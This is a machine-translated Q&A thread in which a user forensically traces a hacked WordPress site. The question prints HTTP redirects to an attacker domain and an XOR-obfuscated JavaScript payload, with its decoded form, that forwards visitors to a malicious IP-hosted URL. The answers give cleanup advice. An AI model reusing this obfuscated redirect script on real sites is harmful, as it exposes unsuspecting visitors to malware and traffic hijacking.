Судебный анализ фактического взломанного веб-сайта - PullRequest
2 голосов
/ 21 июня 2011

У одного из моих друзей есть веб-сайт, работающий с Wordpress (обратите внимание, что это не блог на Wordpress.com), и он был взломан.Тем временем он должен поговорить с компанией, которая предоставила сайт для восстановления резервной копии.Я хотел бы знать, что произошло, потому что я пытаюсь узнать о веб-безопасности, и это хороший шанс.

Первое, что я могу заметить, это то, что веб-страница появляется без стиля, даже когдаCSS-файлы, на которые ссылается HTML.Я пытаюсь перейти к одному из этих файлов, но меня перенаправляют на веб-сайт с именем tonycar.com .

Версия Wordpress 2.0.2, как я вижу в html <meta name="generator" content="WordPress 2.0.2" />

Итак, это так:

Запрос на http://myfriendwebsite.net/:

GET http://myfriendwebsite.net/ HTTP/1.1
Accept: text/html, application/xhtml+xml, */*
Accept-Language: en-IE
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)
Accept-Encoding: gzip, deflate
Connection: Keep-Alive
Host: myfriendwebsite.net

Ответ:

HTTP/1.1 200 OK
    Date: Mon, 20 Jun 2011 22:05:28 GMT
    Server: Apache/2.2.17 (Unix) mod_ssl/2.2.17 OpenSSL/0.9.7a mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635
    X-Powered-By: PHP/5.2.17
    X-Pingback: http://www.myfriendwebsite.net/wordpress/xmlrpc.php
    Set-Cookie: bb2_screener_=1308607528+213.191.238.24; path=/
    Keep-Alive: timeout=5, max=100
    Connection: Keep-Alive
    Transfer-Encoding: chunked
    Content-Type: text/html; charset=UTF-8

Ответ содержит HTML-код.Теперь веб-сайт пытается получить файлы CSS, вот что происходит с первым, например:

Запрос:

GET http://www.myfriendwebsite.net/wordpress/wp-content/themes/myfriendwebsite/includes/core.css HTTP/1.1
Accept: text/css
Referer: http://myfriendwebsite.net/
Accept-Language: en-IE
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)
Accept-Encoding: gzip, deflate
Host: www.myfriendwebsite.net
Connection: Keep-Alive
Cookie: bb2_screener_=1308607528+213.191.238.24 

Ответ:

HTTP/1.1 302 Found
    Date: Mon, 20 Jun 2011 22:05:29 GMT
    Server: Apache/2.2.17 (Unix) mod_ssl/2.2.17 OpenSSL/0.9.7a mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635
    Location: http://tonycar.com/r/404.php?213.191.238.24
    Content-Length: 402
    Keep-Alive: timeout=5, max=100
    Connection: Keep-Alive
    Content-Type: text/html; charset=iso-8859-1

    <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
    <html><head>
    <title>302 Found</title>
    </head><body>
    <h1>Found</h1>
    <p>The document has moved <a href="http://tonycar.com/r/404.php?213.191.238.24">here</a>.</p>
    <hr>
    <address>Apache/2.2.17 (Unix) mod_ssl/2.2.17 OpenSSL/0.9.7a mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 Server at www.myfriendwebsite.net Port 80</address>
    </body></html>

Это делает перенаправление на http://tonycar.com/r/404.php?213.191.238.24, и вот что происходит:

Запрос:

GET http://tonycar.com/r/404.php?213.191.238.24 HTTP/1.1
Accept: text/css
Referer: http://myfriendwebsite.net/
Accept-Language: en-IE
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)
Accept-Encoding: gzip, deflate
Host: tonycar.com
Connection: Keep-Alive

Ответ

HTTP/1.1 302 Moved Temporarily
Date: Mon, 20 Jun 2011 22:05:42 GMT
Server: Apache
Set-Cookie: xxx=xxx; expires=Mon, 20-Jun-2011 23:05:42 GMT
Location: go.php?dd41dcd4bcb38e25c529f150f00ecf95
Content-Length: 0
Connection: close
Content-Type: text/html

Новое перенаправление и наконец:

Запрос

GET http://tonycar.com/r/go.php?dd41dcd4bcb38e25c529f150f00ecf95 HTTP/1.1
Accept: text/css
Referer: http://myfriendwebsite.net/
Accept-Language: en-IE
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)
Accept-Encoding: gzip, deflate
Host: tonycar.com
Connection: Keep-Alive

Ответ

HTTP/1.1 200 OK
    Date: Mon, 20 Jun 2011 22:05:44 GMT
    Server: Apache
    Connection: close
    Transfer-Encoding: chunked
    Content-Type: text/html

    2da
    <script language=JavaScript>HaSyJGVMNHBHlTVzQCrn1 = "=rbshqu!uxqd<#udyu.k`w`rbshqu#?w`s!yyy<#iuuq;..099/338/81/76.hoedy/qiq>nbu0l<GD1RkCgHj1`NhvxLBXxWSiPY'OV6D<DVBWTJ@ycH1W[WBynVGSOS'6uj<106IVBH'ix<$3GY'nmQ<D5$3CYmyWUTu4J2['JwR2<Q1QFE7N00C8X1778NBXN9Q7B1E8'o3<l5sYRW@SGmeNh@uD'twff<$3CXDyfN2WJgj1KQmD5PmKJEUOx`o9@[f[1@2XNLUHvHf$2E$2E'07<0[R3F893K60'[Wh<BjHJh1rP@9tHDn#:enbtldou/mnb`uhno/isdg<yyy:=.rbshqu?";PIIupfVDlgksHCrQJMcW2 = "";for (TdeFxzFOBwBRFKLvqgyb3 = 0; TdeFxzFOBwBRFKLvqgyb3 < HaSyJGVMNHBHlTVzQCrn1.length; TdeFxzFOBwBRFKLvqgyb3 ++) { PIIupfVDlgksHCrQJMcW2 = PIIupfVDlgksHCrQJMcW2+ String.fromCharCode (HaSyJGVMNHBHlTVzQCrn1.charCodeAt (TdeFxzFOBwBRFKLvqgyb3) ^ 1); }; document.write (PIIupfVDlgksHCrQJMcW2);</script>
    0

После небольшой работы я обнаружил, что эта злая функция javascript генерирует это, и записал это в документ:

<script type="text/javascript">
var xxx="http://188.229.90.67/index.php?oct1m=FE0SjBfIk0aOiwyMCYyVRhQX&NW7E=EWCVUKAxbI0VZVCxoWFRNR&7tk=017HWCI&hy=%2FX&olP=E4%2BXlxVTUt5K3Z&KvS3=P0PGD6O11B9Y0669OCYO8P6C0D9&n2=m4rXSVARFldOiAtE&uvgg=%2BYExgO3VKfk0JPlE4QlJKDTNyan8AZgZ0A3YOMTIwIg%3D%3D&16=1ZS2G982J71&ZVi=CkIKi0sQA8uIEo";
document.location.href=xxx;
</script>

По сути, он объявляет строку,и после того, как это расшифровывает это:

varA="crazy encoding string"
varB = "";
for (varC = 0; varC < varA.length; varC ++) 
{ 
    varB = varB+ String.fromCharCode (varA.charCodeAt (varC) ^ 1); 
}; 
document.write(varB);

Итак, снова новое перенаправление, но я не могу видеть этот запрос на Fiddler. Я не знаю почему, может быть, потому что IE9 не понимает этого или что?: SI не может декодировать эти параметры строки запроса, возможно потому, что это предполагаемые имена и значения (или нет).

Какова цель этого хака?Чего они пытаются достичь?

Как это возможно?Я понимаю, что такое атака XSS (прямая, отраженная и основанная на DOM), но это не имеет к этому никакого отношения.Сервер возвращает специально созданный ответ вместо требуемого файла CSS.Файлы CSS должны быть статическими файлами, которые веб-сервер возвращает без действия PHP или Wordpress, так что?

Ответы [ 4 ]

3 голосов
/ 21 июня 2011

Подобные вещи чрезвычайно распространены на сайтах WordPress, и вы увидите это и в других популярных веб-приложениях.

По сути, автоматизированные боты находят веб-сайт для кражи, ипопробуйте несколько широко известных подвигов.Если кто-то работает, они вставляют на ваш сайт какую-то чушь, как вы видели.

Они создают ссылки на слова, которые возвращаются на их сайты.Это должно повысить их рейтинг страницы, а что нет с поисковыми системами.Идея состоит в том, что если 50 000 неработающих сайтов WordPress имеют слово «Виагра», связанное с «my-viagra-pharmacy.info», то Google повысит этот сайт, когда люди будут искать «Виагру».

Это происходитвсе время.Поиск в ваших PHP-файлах eval(), скорее всего, приведет к появлению нескольких "злых" (ха! Каламбур) строк кода.

1 голос
/ 21 июня 2011

Я не пользуюсь WordPress, но меня это тоже интересует.

Есть ли у вас:

  1. Определены ли какие-либо преступники .htaccess файлы?
  2. Исследовано mod_auth_passthrough / FrontPage?

Существует некоторый вид внутреннего перенаправления, что означает, что код либо внедряется, либо файл добавлен, либо существующий файл был изменен. Самый простой способ узнать это было бы:

  1. grep ваши файлы для некоторого идентифицируемого текста, например tonycar.com. Как вы указали, они могли его запутать, поэтому вам может понадобиться использовать другие методы определения местоположения, такие как ...
  2. сортировка файлов по измененным датам и просмотр их вручную / индивидуально
  3. использовать инструмент сравнения файлов и сравнивать возможно зараженные файлы с их незараженными резервными копиями

Что-то, что было замечено, заключается в том, что они используют информацию о файлах cookie, пытались ли вы зайти на сайт с отключенными файлами cookie, чтобы выяснить, не является ли это вероятной точкой безопасности?

1 голос
/ 21 июня 2011

Я не знаю об особенностях WordPress, но я бы сначала изучил фактические права доступа к файлам. Мне кажется, что кто-то смог поместить .htaccess в каталог wordpress / wp-content / themes / myfriendwebsite / includes /. Я не могу легко придумать другой способ принудительного перенаправления 302 на то, что должно быть статическим содержимым (файл .css). На самом деле мне кажется невероятным, что неавторизованный пользователь сможет загрузить такой файл в этот каталог. Я думаю, что более вероятно, что кто-то еще на том же сервере (я предполагаю, что это общий хостинг) обнаружил, что этот каталог доступен для записи. Проверьте разрешения для этого каталога и убедитесь, что он недоступен для записи всем пользователям системы.

1 голос
/ 21 июня 2011

Отличный анализ того, что произошло.Поиск по всем php-файлам вашей темы и замена всех основных файлов / папок WP.

Кто является веб-хостом?

И посмотрите Как полностью очистить вашу взломанную установку WordPress и Как найти бэкдор в взломанном WordPress и Укрепляющий WordPress «WordPress Codex .

Добро пожаловать на сайт PullRequest, где вы можете задавать вопросы и получать ответы от других членов сообщества.
...